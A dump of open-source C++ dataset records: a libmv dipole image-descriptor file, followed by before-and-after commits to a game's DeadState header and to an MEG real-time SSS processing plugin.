INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\r\n\/\/ IN THE SOFTWARE.\r\n\r\n#include \"libmv\/base\/vector.h\"\r\n#include \"libmv\/logging\/logging.h\"\r\n#include \"libmv\/descriptor\/descriptor.h\"\r\n#include \"libmv\/descriptor\/vector_descriptor.h\"\r\n#include \"libmv\/correspondence\/feature.h\"\r\n#include \"libmv\/image\/convolve.h\"\r\n#include \"libmv\/image\/image.h\"\r\n#include \"libmv\/image\/sample.h\"\r\n#include <cmath>\r\n\r\nnamespace libmv {\r\nnamespace descriptor {\r\n\r\n\/\/\r\n\/\/ Note :\r\n\/\/ - Angle is in radian.\r\n\/\/ - data the output array (must be allocated to 20 values).\r\ntemplate <typename TImage,typename T>\r\nvoid PickDipole(const TImage & image, float x, float y, float scale,\n                double angle, T * data) {\r\n\r\n  \/\/ Setup the rotation center.\r\n  float & cx = x, & cy = y;\r\n\r\n  double lambda1 = scale;\r\n  double lambda2 = lambda1 \/ 2.0;\n  double angleSubdiv = 2.0 * M_PI \/ 12.0;\n\r\n  Vecf dipoleF1(12);\r\n  for (int i = 0; i < 12; ++i)  {\r\n    float xi = cx + lambda1 * cos(angle + i * angleSubdiv);\r\n    float yi = cy + lambda1 * sin(angle + i * angleSubdiv);\r\n    float s1 = 0.0f;\r\n    if (image.Contains(yi,xi) ) {\r\n      \/\/ Bilinear interpolation\r\n      s1 = SampleLinear(image, yi, xi);\r\n    }\r\n    dipoleF1(i) = s1;\r\n  }\r\n  Matf A(8,12);\r\n  A <<  0, 0, 0, 1, 0, 0, 0, 0, 0,-1, 0, 0,\r\n        0,-1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,\r\n        0, 0, 0, 0, 0,-1, 0, 0, 0, 0, 0, 1,\r\n        0, 0, 0, 0, 1, 0, 0,-1, 0, 0, 0, 0,\r\n        0, 0, 0, 0, 0, 0, 1, 0, 0,-1, 0, 0,\r\n        0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,-1,\r\n        0,-1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0,\r\n        1, 0, 0,-1, 0, 0, 0, 0, 0, 0, 0, 0;\r\n\r\n  \/\/ Add the second order F2 dipole\r\n  Vecf dipoleF2(12);\r\n  for (int i = 0; i < 12; ++i)  {\n    double angleSample = i * angleSubdiv;\r\n    float xi = cx + (lambda1 + lambda2) * cos(angle + angleSample);\r\n    float yi = cy + (lambda1 + lambda2) * sin(angle + angleSample);\r\n\r\n    float xii = cx + (lambda1 - lambda2) * cos(angle + angleSample);\r\n    float yii = cy + (lambda1 - lambda2) * sin(angle + angleSample);\r\n\r\n    float s1 = 0.0f;\r\n    if (image.Contains(yi,xi) && image.Contains(yii,xii)) {\r\n      \/\/ Bilinear interpolation\r\n      s1 = SampleLinear(image, yi, xi) - SampleLinear(image, yii, xii);\r\n    }\r\n    dipoleF2(i) = s1;\r\n  }\r\n\r\n  (*data).template block<8,1>(0,0) = (A * dipoleF1).normalized();\n  (*data).template block<12,1>(8,0) = dipoleF2.normalized();\r\n  \/\/ Normalize to be affine luminance invariant (a*I(x,y)+b).\r\n}\r\n\r\nclass DipoleDescriber : public Describer {\r\n public:\r\n  virtual void Describe(const vector<Feature *> &features,\r\n                        const Image &image,\r\n                        const detector::DetectorData *detector_data,\r\n                        vector<Descriptor *> *descriptors) {\r\n    (void) detector_data; \/\/ There is no matching detector for DipoleDescriptor.\r\n\r\n    const int DIPOLE_DESC_SIZE = 20;\r\n    descriptors->resize(features.size());\r\n    for (int i = 0; i < features.size(); ++i) {\r\n      PointFeature *point = dynamic_cast<PointFeature *>(features[i]);\r\n      VecfDescriptor *descriptor = NULL;\r\n      if (point) {\r\n        descriptor = new VecfDescriptor(DIPOLE_DESC_SIZE);\r\n        PickDipole( *(image.AsArray3Du()),\r\n                  point->x(),\r\n                  point->y(),\r\n                  point->scale,\r\n                  point->orientation,\r\n                  &(descriptor->coords));\r\n      }\r\n      (*descriptors)[i] = descriptor;\r\n    }\r\n  }\r\n};\r\n\r\nDescriber *CreateDipoleDescriber() {\r\n  return new DipoleDescriber;\r\n}\r\n\r\n}  \/\/ namespace descriptor\r\n}  \/\/ namespace libmv\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- mode:C++; tab-width:4; c-basic-offset:4; indent-tabs-mode:nil -*-\n\n#ifndef __RD_DEAD_STATE_HPP__\n#define __RD_DEAD_STATE_HPP__\n\n#include \"State.hpp\"\n#include \"Hub.hpp\"\n#include \"InputEventListener.hpp\"\n#include \"NetworkManager.hpp\"\n#include \"ImageManager.hpp\"\n#include \"InputManager.hpp\"\n#include \"MentalMap.hpp\"\n#include \"RobotManager.hpp\"\n#include \"AudioManager.hpp\"\n#include \"ScreenManager.hpp\"\n#include \"DeadScreen.hpp\"\n#include \"Key.hpp\"\n#include \"WindowEvent.hpp\"\n\nnamespace rd{\n\n\/**\n* @ingroup GameStatesLib\n*\n* @brief Game Dead State\n* Behavior:\n*  - Waits for 10 seconds showing dead screen\n*  - Then, it enables input:\n*      - When user presses enter, respawns the robot and goes to game state again\n*      - When user presses q, logout the game\n*\/\nclass DeadState : public State, public ManagerHub, public InputEventListener\n{\npublic:\n    DeadState(NetworkManager * networkManager, ImageManager * imageManager,\n              InputManager * inputManager, MentalMap * mentalMap,\n              RobotManager * robotManager, AudioManager * audioManager,\n              ScreenManager * screenManager);\n    virtual ~DeadState();\n    virtual bool setup();\n    virtual bool loop();\n    virtual bool cleanup();\n\n    \/\/! @brief Returns the internal variable value as condition evaluation result\n    virtual int evaluateConditions();\n\n    \/\/enum DeadStateOption {RESPAWN_SELECTED, EXIT_SELECTED};\n    static const int RESPAWN_SELECTED;\n    static const int EXIT_SELECTED;\n\n    \/\/-- InputEventListener interface:\n    virtual bool onKeyDown(const Key & k);\n    virtual bool onKeyUp(const Key & k);\n    virtual bool onWindowEvent(const WindowEvent & event);\n\n    static const int DEFAULT_RATE_MS;\n    static const int MAX_HEALTH;\n\nprotected:\n    DeadScreen screen;\n    int last_transition; \/\/-- Stores the transition that triggered the cleanup\n    bool received_respawn;\n    bool received_exit;\n    int elapsed_time; \/\/-- Time elapsed in ms\n    int timer; \/\/-- Countdown timer in s\n};\n}\n#endif \/\/ __RD_DEAD_STATE_HPP__\n<commit_msg>Remove unused protected member: rd::DeadState::last_transition<commit_after>\/\/ -*- mode:C++; tab-width:4; c-basic-offset:4; indent-tabs-mode:nil -*-\n\n#ifndef __RD_DEAD_STATE_HPP__\n#define __RD_DEAD_STATE_HPP__\n\n#include \"State.hpp\"\n#include \"Hub.hpp\"\n#include \"InputEventListener.hpp\"\n#include \"NetworkManager.hpp\"\n#include \"ImageManager.hpp\"\n#include \"InputManager.hpp\"\n#include \"MentalMap.hpp\"\n#include \"RobotManager.hpp\"\n#include \"AudioManager.hpp\"\n#include \"ScreenManager.hpp\"\n#include \"DeadScreen.hpp\"\n#include \"Key.hpp\"\n#include \"WindowEvent.hpp\"\n\nnamespace rd{\n\n\/**\n* @ingroup GameStatesLib\n*\n* @brief Game Dead State\n* Behavior:\n*  - Waits for 10 seconds showing dead screen\n*  - Then, it enables input:\n*      - When user presses enter, respawns the robot and goes to game state again\n*      - When user presses q, logout the game\n*\/\nclass DeadState : public State, public ManagerHub, public InputEventListener\n{\npublic:\n    DeadState(NetworkManager * networkManager, ImageManager * imageManager,\n              InputManager * inputManager, MentalMap * mentalMap,\n              RobotManager * robotManager, AudioManager * audioManager,\n              ScreenManager * screenManager);\n    virtual ~DeadState();\n    virtual bool setup();\n    virtual bool loop();\n    virtual bool cleanup();\n\n    \/\/! @brief Returns the internal variable value as condition evaluation result\n    virtual int evaluateConditions();\n\n    \/\/enum DeadStateOption {RESPAWN_SELECTED, EXIT_SELECTED};\n    static const int RESPAWN_SELECTED;\n    static const int EXIT_SELECTED;\n\n    \/\/-- InputEventListener interface:\n    virtual bool onKeyDown(const Key & k);\n    virtual bool onKeyUp(const Key & k);\n    virtual bool onWindowEvent(const WindowEvent & event);\n\n    static const int DEFAULT_RATE_MS;\n    static const int MAX_HEALTH;\n\nprotected:\n    DeadScreen screen;\n    bool received_respawn;\n    bool received_exit;\n    int elapsed_time; \/\/-- Time elapsed in ms\n    int timer; \/\/-- Countdown timer in s\n};\n}\n#endif \/\/ __RD_DEAD_STATE_HPP__\n<|endoftext|>"}
{"text":"<commit_before>\/\/=============================================================================================================\n\/**\n* @file     rtsss.cpp\n* @author   Seok Lew <slew@nmr.mgh.harvard.edu>;\n*           Matti Hamalainen <msh@nmr.mgh.harvard.edu>\n* @version  1.0\n* @date     February, 2013\n*\n* @section  LICENSE\n*\n* Copyright (C) 2013, Christoph Dinh and Matti Hamalainen. All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n* the following conditions are met:\n*     * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n*       following disclaimer.\n*     * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n*       the following disclaimer in the documentation and\/or other materials provided with the distribution.\n*     * Neither the name of the Massachusetts General Hospital nor the names of its contributors may be used\n*       to endorse or promote products derived from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL MASSACHUSETTS GENERAL HOSPITAL BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*\n*\n* @brief    Contains the implementation of the RtSss class.\n*\n*\/\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"rtsss.h\"\n#include \"FormFiles\/rtssssetupwidget.h\"\n#include \"rtsssalgo.h\"\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n#include <QtCore\/QtPlugin>\n#include <QDebug>\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace RtSssPlugin;\nusing namespace FIFFLIB;\nusing namespace MNEX;\nusing namespace XMEASLIB;\n\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nRtSss::RtSss()\n: m_bIsRunning(false)\n, m_bReceiveData(false)\n, m_bProcessData(false)\n\/\/, m_pRTSAInput(NULL)\n\/\/, m_pRTSAOutput(NULL)\n\/\/, m_pRtSssBuffer(new dBuffer(1024))\n{\n}\n\n\n\/\/*************************************************************************************************************\n\nRtSss::~RtSss()\n{\n    stop();\n}\n\n\n\/\/*************************************************************************************************************\n\nQSharedPointer<IPlugin> RtSss::clone() const\n{\n    QSharedPointer<RtSss> pRtSssClone(new RtSss);\n    return pRtSssClone;\n}\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ Creating required display instances and set configurations\n\/\/=============================================================================================================\n\nvoid RtSss::init()\n{\n    std::cout << \"*********** Initialization ************\" << std::endl;\n\n    \/\/Delete Buffer - will be initailzed with first incoming data\n    if(!m_pRtSssBuffer.isNull())\n        m_pRtSssBuffer = CircularMatrixBuffer<double>::SPtr();\n\n    \/\/ Input\n    m_pRTMSAInput = PluginInputData<NewRealTimeMultiSampleArray>::create(this, \"RtSssIn\", \"RtSss input data\");\n    connect(m_pRTMSAInput.data(), &PluginInputConnector::notify, this, &RtSss::update, Qt::DirectConnection);\n    m_inputConnectors.append(m_pRTMSAInput);\n\n    \/\/ Output\n    m_pRTMSAOutput = PluginOutputData<NewRealTimeMultiSampleArray>::create(this, \"RtSssOut\", \"RtSss output data\");\n    m_outputConnectors.append(m_pRTMSAOutput);\n}\n\n\n\/\/*************************************************************************************************************\n\nbool RtSss::start()\n{\n    std::cout << \"*********** Start ************\" << std::endl;\n\n    QThread::start();\n    return true;\n}\n\n\n\/\/*************************************************************************************************************\n\nbool RtSss::stop()\n{\n    std::cout << \"*********** Stop ************\" << std::endl;\n\n    m_bIsRunning = false;\n\n    \/\/ Stop threads\n    QThread::terminate();\n    QThread::wait();\n\n    if(m_pRtSssBuffer)\n        m_pRtSssBuffer->clear();\n\n    m_bReceiveData = false;\n\n    return true;\n}\n\n\n\/\/*************************************************************************************************************\n\nIPlugin::PluginType RtSss::getType() const\n{\n    return _IAlgorithm;\n}\n\n\n\/\/*************************************************************************************************************\n\nQString RtSss::getName() const\n{\n    return \"RtSss Toolbox\";\n}\n\n\n\/\/*************************************************************************************************************\n\nQWidget* RtSss::setupWidget()\n{\n    std::cout << \"*********** SetUpWidget ************\" << std::endl;\n\n    RtSssSetupWidget* widget = new RtSssSetupWidget(this);  \/\/widget is later distroyed by CentralWidget - so it has to be created everytime new\n\n    connect(widget, &RtSssSetupWidget::signalNewLinRR, this, &RtSss::setLinRR);\n    connect(widget, &RtSssSetupWidget::signalNewLoutRR, this, &RtSss::setLoutRR);\n    connect(widget, &RtSssSetupWidget::signalNewLin, this, &RtSss::setLin);\n    connect(widget, &RtSssSetupWidget::signalNewLout, this, &RtSss::setLout);\n\n    LinRR = widget->getLinRR();\n    LoutRR = widget->getLoutRR();\n    Lin = widget->getLin();\n    Lout = widget->getLout();\n\n    return widget;\n}\n\n\nvoid RtSss::setLinRR(int val)\n{\n\/\/    std::cout <<\" new LinRR: \" << val << std::endl;\n    LinRR = val;\n}\n\nvoid RtSss::setLoutRR(int val)\n{\n\/\/    std::cout <<\" new LoutRR: \" << val << std::endl;\n    LoutRR = val;\n}\n\nvoid RtSss::setLin(int val)\n{\n\/\/    std::cout <<\" new Lin: \" << val << std::endl;\n    Lin = val;\n}\n\nvoid RtSss::setLout(int val)\n{\n\/\/    std::cout <<\" new Lout: \" << val << std::endl;\n    Lout = val;\n}\n\n\/\/*************************************************************************************************************\n\nvoid RtSss::update(XMEASLIB::NewMeasurement::SPtr pMeasurement)\n{\n\/\/    std::cout << \"*********** Update ************\" << std::endl;\n\n    QSharedPointer<NewRealTimeMultiSampleArray> pRTMSA = pMeasurement.dynamicCast<NewRealTimeMultiSampleArray>();\n\n    if(pRTMSA && m_bReceiveData)\n    {\n        \/\/Check if buffer initialized\n        if(!m_pRtSssBuffer)\n            m_pRtSssBuffer = CircularMatrixBuffer<double>::SPtr(new CircularMatrixBuffer<double>(64, pRTMSA->getNumChannels(), pRTMSA->getMultiArraySize()));\n\n        \/\/Fiff information\n        if(!m_pFiffInfo)\n            m_pFiffInfo = pRTMSA->getFiffInfo();\n\n        if(m_bProcessData)\n        {\n            MatrixXd in_mat(pRTMSA->getNumChannels(), pRTMSA->getMultiArraySize());\n            for(unsigned char i = 0; i < pRTMSA->getMultiArraySize(); ++i)\n                in_mat.col(i) = pRTMSA->getMultiSampleArray()[i];\n\n            m_pRtSssBuffer->push(&in_mat);\n        }\n    }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid RtSss::run()\n{\n\n    RtSssAlgo rsss;\n    QList<MatrixXd> lineqn, sssRR;\n\n    m_bIsRunning = true;\n\n    \/\/\n    \/\/ start receiving data\n    \/\/\n    m_bReceiveData = true;\n\n    \/\/ Read Fiff Info\n    \/\/\n    while(!m_pFiffInfo)\n        msleep(10);\/\/ Wait for fiff Info\n\n    \/\/ Set MEG channel infomation\n    rsss.setMEGInfo(m_pFiffInfo);\n\n    \/\/ Init output\n    m_pRTMSAOutput->data()->initFromFiffInfo(m_pFiffInfo);\n    m_pRTMSAOutput->data()->setMultiArraySize(100);\n\/\/    m_pRTMSAOutput->data()->setSamplingRate(m_pFiffInfo->sfreq);\n    m_pRTMSAOutput->data()->setVisibility(true);\n\n    qDebug() << \"LinRR (run): \" << LinRR << \", LoutRR (run): \" << LoutRR <<\", Lin (run): \" << Lin <<\", Lout (run): \" << Lout;\n    QList<int> expOrder;\n    expOrder << LinRR << LoutRR << Lin << Lout;\n    rsss.setSSSParameter(expOrder);\n\n    \/\/ Find the number of MEG channel\n    qint32 nmegchan = rsss.getNumMEGCh();\n\/\/    std::cout << \"number of meg channels: \" << nmegchan << std::endl;\n\n\/\/    std::cout << \"building SSS linear equation .....\";\n    qDebug() << \"building SSS linear equation .....\";\n    lineqn = rsss.buildLinearEqn();\n    qDebug() << \" finished (run)!\";\n\n    \/\/ start processing data\n    m_bProcessData = true;\n\n    while(m_bIsRunning)\n    {\n        qint32 nrows = m_pRtSssBuffer->rows();\n\n        if(nrows > 0) \/\/ check if init\n        {\n            \/\/ * Dispatch the inputs * \/\/\n            MatrixXd in_mat = m_pRtSssBuffer->pop();\n\/\/            std::cout << \"size of in_mat (run): \" << in_mat.rows() << \" x \" << in_mat.cols() << std::endl;\n\n            for(qint32 i = 0; i <in_mat.cols(); ++i)\n            {\n\/*\n\/\/              When MEG channels don't start from the first row and may be mixed with other channels\n                qint32 m = 0;\n                MatrixXd meg_mat(nmegchan, 1);\n                for(qint32 j = 0; j < in_mat.rows(); ++j)\n                    if(m_pFiffInfo->chs[j].kind == FIFFV_MEG_CH)\n                    {\n                        meg_mat(m,0) = in_mat(j,i);\n                        m++;\n                    }\n\n\/\/                std::cout << \"size meg_mat: \" << meg_mat.rows() << \" x \" << meg_mat.cols() << std::endl;\n                  sssRR = rsss.getSSSRR(lineqn[0], lineqn[1], lineqn[2], lineqn[3], lineqn[4]*meg_mat);\n*\/\n\n\/\/                qDebug() << \"running rtSSS .....\";\n                sssRR = rsss.getSSSRR(lineqn[0], lineqn[1], lineqn[2], lineqn[3], lineqn[4]*in_mat.block(0,i,nmegchan,1));\n                in_mat.block(0,i,nmegchan,1) = sssRR[0];\n                m_pRTMSAOutput->data()->setValue(in_mat.col(i));\n            }\n        }\n    }\n\n    m_bProcessData = false;\n    m_bReceiveData = false;\n\n}\n\n<commit_msg>update<commit_after>\/\/=============================================================================================================\n\/**\n* @file     rtsss.cpp\n* @author   Seok Lew <slew@nmr.mgh.harvard.edu>;\n*           Matti Hamalainen <msh@nmr.mgh.harvard.edu>\n* @version  1.0\n* @date     February, 2013\n*\n* @section  LICENSE\n*\n* Copyright (C) 2013, Christoph Dinh and Matti Hamalainen. All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n* the following conditions are met:\n*     * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n*       following disclaimer.\n*     * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n*       the following disclaimer in the documentation and\/or other materials provided with the distribution.\n*     * Neither the name of the Massachusetts General Hospital nor the names of its contributors may be used\n*       to endorse or promote products derived from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL MASSACHUSETTS GENERAL HOSPITAL BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*\n*\n* @brief    Contains the implementation of the RtSss class.\n*\n*\/\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"rtsss.h\"\n#include \"FormFiles\/rtssssetupwidget.h\"\n#include \"rtsssalgo.h\"\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n#include <QtCore\/QtPlugin>\n#include <QDebug>\n#include <QFuture>\n#include <QtConcurrent\/QtConcurrentMap>\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace RtSssPlugin;\nusing namespace FIFFLIB;\nusing namespace MNEX;\nusing namespace XMEASLIB;\n\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nRtSss::RtSss()\n: m_bIsRunning(false)\n, m_bReceiveData(false)\n, m_bProcessData(false)\n\/\/, m_pRTSAInput(NULL)\n\/\/, m_pRTSAOutput(NULL)\n\/\/, m_pRtSssBuffer(new dBuffer(1024))\n{\n}\n\n\n\/\/*************************************************************************************************************\n\nRtSss::~RtSss()\n{\n    stop();\n}\n\n\n\/\/*************************************************************************************************************\n\nQSharedPointer<IPlugin> RtSss::clone() const\n{\n    QSharedPointer<RtSss> pRtSssClone(new RtSss);\n    return pRtSssClone;\n}\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ Creating required display instances and set configurations\n\/\/=============================================================================================================\n\nvoid RtSss::init()\n{\n    std::cout << \"*********** Initialization ************\" << std::endl;\n\n    \/\/Delete Buffer - will be initailzed with first incoming data\n    if(!m_pRtSssBuffer.isNull())\n        m_pRtSssBuffer = CircularMatrixBuffer<double>::SPtr();\n\n    \/\/ Input\n    m_pRTMSAInput = PluginInputData<NewRealTimeMultiSampleArray>::create(this, \"RtSssIn\", \"RtSss input data\");\n    connect(m_pRTMSAInput.data(), &PluginInputConnector::notify, this, &RtSss::update, Qt::DirectConnection);\n    m_inputConnectors.append(m_pRTMSAInput);\n\n    \/\/ Output\n    m_pRTMSAOutput = PluginOutputData<NewRealTimeMultiSampleArray>::create(this, \"RtSssOut\", \"RtSss output data\");\n    m_outputConnectors.append(m_pRTMSAOutput);\n}\n\n\n\/\/*************************************************************************************************************\n\nbool RtSss::start()\n{\n    std::cout << \"*********** Start ************\" << std::endl;\n\n    QThread::start();\n    return true;\n}\n\n\n\/\/*************************************************************************************************************\n\nbool RtSss::stop()\n{\n    std::cout << \"*********** Stop ************\" << std::endl;\n\n    m_bIsRunning = false;\n\n    \/\/ Stop threads\n    QThread::terminate();\n    QThread::wait();\n\n    if(m_pRtSssBuffer)\n        m_pRtSssBuffer->clear();\n\n    m_bReceiveData = false;\n\n    return true;\n}\n\n\n\/\/*************************************************************************************************************\n\nIPlugin::PluginType RtSss::getType() const\n{\n    return _IAlgorithm;\n}\n\n\n\/\/*************************************************************************************************************\n\nQString RtSss::getName() const\n{\n    return \"RtSss Toolbox\";\n}\n\n\n\/\/*************************************************************************************************************\n\nQWidget* RtSss::setupWidget()\n{\n    std::cout << \"*********** SetUpWidget ************\" << std::endl;\n\n    RtSssSetupWidget* widget = new RtSssSetupWidget(this);  \/\/widget is later distroyed by CentralWidget - so it has to be created everytime new\n\n    connect(widget, &RtSssSetupWidget::signalNewLinRR, this, &RtSss::setLinRR);\n    connect(widget, &RtSssSetupWidget::signalNewLoutRR, this, &RtSss::setLoutRR);\n    connect(widget, &RtSssSetupWidget::signalNewLin, this, &RtSss::setLin);\n    connect(widget, &RtSssSetupWidget::signalNewLout, this, &RtSss::setLout);\n\n    LinRR = widget->getLinRR();\n    LoutRR = widget->getLoutRR();\n    Lin = widget->getLin();\n    Lout = widget->getLout();\n\n    return widget;\n}\n\n\nvoid RtSss::setLinRR(int val)\n{\n\/\/    std::cout <<\" new LinRR: \" << val << std::endl;\n    LinRR = val;\n}\n\nvoid RtSss::setLoutRR(int val)\n{\n\/\/    std::cout <<\" new LoutRR: \" << val << std::endl;\n    LoutRR = val;\n}\n\nvoid RtSss::setLin(int val)\n{\n\/\/    std::cout <<\" new Lin: \" << val << std::endl;\n    Lin = val;\n}\n\nvoid RtSss::setLout(int val)\n{\n\/\/    std::cout <<\" new Lout: \" << val << std::endl;\n    Lout = val;\n}\n\n\/\/*************************************************************************************************************\n\nvoid RtSss::update(XMEASLIB::NewMeasurement::SPtr pMeasurement)\n{\n\/\/    std::cout << \"*********** Update ************\" << std::endl;\n\n    QSharedPointer<NewRealTimeMultiSampleArray> pRTMSA = pMeasurement.dynamicCast<NewRealTimeMultiSampleArray>();\n\n    if(pRTMSA && m_bReceiveData)\n    {\n        \/\/Check if buffer initialized\n        if(!m_pRtSssBuffer)\n            m_pRtSssBuffer = CircularMatrixBuffer<double>::SPtr(new CircularMatrixBuffer<double>(64, pRTMSA->getNumChannels(), pRTMSA->getMultiArraySize()));\n\n        \/\/Fiff information\n        if(!m_pFiffInfo)\n            m_pFiffInfo = pRTMSA->getFiffInfo();\n\n        if(m_bProcessData)\n        {\n            MatrixXd in_mat(pRTMSA->getNumChannels(), pRTMSA->getMultiArraySize());\n            for(unsigned char i = 0; i < pRTMSA->getMultiArraySize(); ++i)\n                in_mat.col(i) = pRTMSA->getMultiSampleArray()[i];\n\n            m_pRtSssBuffer->push(&in_mat);\n        }\n    }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid RtSss::run()\n{\n\n    RtSssAlgo rsss;\n    QList<MatrixXd> lineqn, sssRR;\n\n    m_bIsRunning = true;\n\n    \/\/\n    \/\/ start receiving data\n    \/\/\n    m_bReceiveData = true;\n\n    \/\/ Read Fiff Info\n    \/\/\n    while(!m_pFiffInfo)\n        msleep(10);\/\/ Wait for fiff Info\n\n    \/\/ Set MEG channel infomation\n    rsss.setMEGInfo(m_pFiffInfo);\n\n    \/\/ Init output\n    m_pRTMSAOutput->data()->initFromFiffInfo(m_pFiffInfo);\n    m_pRTMSAOutput->data()->setMultiArraySize(100);\n\/\/    m_pRTMSAOutput->data()->setSamplingRate(m_pFiffInfo->sfreq);\n    m_pRTMSAOutput->data()->setVisibility(true);\n\n    qDebug() << \"LinRR (run): \" << LinRR << \", LoutRR (run): \" << LoutRR <<\", Lin (run): \" << Lin <<\", Lout (run): \" << Lout;\n    QList<int> expOrder;\n    expOrder << LinRR << LoutRR << Lin << Lout;\n    rsss.setSSSParameter(expOrder);\n\n    \/\/ Find the number of MEG channel\n    qint32 nmegchan = rsss.getNumMEGCh();\n\/\/    std::cout << \"number of meg channels: \" << nmegchan << std::endl;\n\n\/\/    std::cout << \"building SSS linear equation .....\";\n    qDebug() << \"building SSS linear equation .....\";\n    lineqn = rsss.buildLinearEqn();\n    qDebug() << \" finished (run)!\";\n\n    \/\/ start processing data\n    m_bProcessData = true;\n\n    while(m_bIsRunning)\n    {\n        qint32 nrows = m_pRtSssBuffer->rows();\n\n        if(nrows > 0) \/\/ check if init\n        {\n            \/\/ * Dispatch the inputs * \/\/\n            MatrixXd in_mat = m_pRtSssBuffer->pop();\n\/\/            std::cout << \"size of in_mat (run): \" << in_mat.rows() << \" x \" << in_mat.cols() << std::endl;\n\n            sssRR = rsss.getSSSRR(lineqn[0], lineqn[1], lineqn[2], lineqn[3], lineqn[4]*in_mat.block(0,0,nmegchan,in_mat.cols()));\n\/\/            std::cout << \"size of sssRR[0] (run): \" << sssRR[0].rows() << \" x \" << sssRR[0].cols() << std::endl;\n\n            for(qint32 i = 0; i <in_mat.cols(); ++i)\n            {\n                in_mat.block(0,i,nmegchan,1) = sssRR[0].col(i);\n                m_pRTMSAOutput->data()->setValue(in_mat.col(i));\n            }\n        }\n    }\n\n    m_bProcessData = false;\n    m_bReceiveData = false;\n\n}\n\n\/\/*****************************************************************************************\n\/\/  When MEG channels don't start from the first row and may be mixed with other channels\n\/\/*****************************************************************************************\n\/*\nfor(qint32 i = 0; i <in_mat.cols(); ++i)\n{\n\/\/  When MEG channels don't start from the first row and may be mixed with other channels\n    qint32 m = 0;\n    MatrixXd meg_mat(nmegchan, 1);\n    for(qint32 j = 0; j < in_mat.rows(); ++j)\n        if(m_pFiffInfo->chs[j].kind == FIFFV_MEG_CH)\n        {\n            meg_mat(m,0) = in_mat(j,i);\n            m++;\n        }\n\n\/\/                std::cout << \"size meg_mat: \" << meg_mat.rows() << \" x \" << meg_mat.cols() << std::endl;\n      sssRR = rsss.getSSSRR(lineqn[0], lineqn[1], lineqn[2], lineqn[3], lineqn[4]*meg_mat);\n\n    in_mat.block(0,i,nmegchan,1) = sssRR[0];\n    m_pRTMSAOutput->data()->setValue(in_mat.col(i));\n}\n*\/\n<|endoftext|>"}
